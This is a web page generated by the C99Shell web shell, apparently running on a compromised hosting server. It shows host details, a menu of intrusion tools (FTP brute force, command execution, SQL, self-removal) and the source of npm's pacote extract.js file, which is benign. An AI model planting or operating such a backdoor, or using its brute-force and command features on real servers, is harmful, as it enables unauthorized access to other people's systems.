!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib/node_modules/npm/node_modules/pacote/   drwxr-xr-x
Free 6182.22 GB of 6263.42 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     extract.js (2.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict'

const BB = require('bluebird')

const extractStream = require('./lib/extract-stream.js')
const fs = require('fs')
const mkdirp = BB.promisify(require('mkdirp'))
const npa = require('npm-package-arg')
const optCheck = require('./lib/util/opt-check.js')
const path = require('path')
const rimraf = BB.promisify(require('rimraf'))
const withTarballStream = require('./lib/with-tarball-stream.js')
const inferOwner = require('infer-owner')
const chown = BB.promisify(require('chownr'))

const truncateAsync = BB.promisify(fs.truncate)
const readFileAsync = BB.promisify(fs.readFile)
const appendFileAsync = BB.promisify(fs.appendFile)

// you used to call me on my...
const selfOwner = process.getuid ? {
  uid: process.getuid(),
  gid: process.getgid()
} : {
  uid: undefined,
  gid: undefined
}

module.exports = extract
function extract (spec, dest, opts) {
  opts = optCheck(opts)
  spec = npa(spec, opts.where)
  if (spec.type === 'git' && !opts.cache) {
    throw new TypeError('Extracting git packages requires a cache folder')
  }
  if (typeof dest !== 'string') {
    throw new TypeError('Extract requires a destination')
  }
  const startTime = Date.now()
  return inferOwner(dest).then(({ uid, gid }) => {
    opts = opts.concat({ uid, gid })
    return withTarballStream(spec, opts, stream => {
      return tryExtract(spec, stream, dest, opts)
    })
      .then(() => {
        if (!opts.resolved) {
          const pjson = path.join(dest, 'package.json')
          return readFileAsync(pjson, 'utf8')
            .then(str => truncateAsync(pjson)
              .then(() => appendFileAsync(pjson, str.replace(
                /}\s*$/,
                `\n,"_resolved": ${
                  JSON.stringify(opts.resolved || '')
                }\n,"_integrity": ${
                  JSON.stringify(opts.integrity || '')
                }\n,"_from": ${
                  JSON.stringify(spec.toString())
                }\n}`
              ))))
        }
      })
      .then(() => opts.log.silly(
        'extract',
        `${spec} extracted to ${dest} (${Date.now() - startTime}ms)`
      ))
  })
}

function tryExtract (spec, tarStream, dest, opts) {
  return new BB((resolve, reject) => {
    tarStream.on('error', reject)

    rimraf(dest)
      .then(() => mkdirp(dest))
      .then((made) => {
        // respect the current ownership of unpack targets
        // but don't try to chown if we're not root.
        if (selfOwner.uid === 0 &&
            typeof selfOwner.gid === 'number' &&
            selfOwner.uid !== opts.uid && selfOwner.gid !== opts.gid) {
          return chown(made || dest, opts.uid, opts.gid)
        }
      })
      .then(() => {
        const xtractor = extractStream(spec, dest, opts)
        xtractor.on('error', reject)
        xtractor.on('close', resolve)
        tarStream.pipe(xtractor)
      })
      .catch(reject)
  })
    .catch(err => {
      if (err.code === 'EINTEGRITY') {
        err.message = `Verification failed while extracting ${spec}:\n${err.message}`
      }

      throw err
    })
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0134 ]--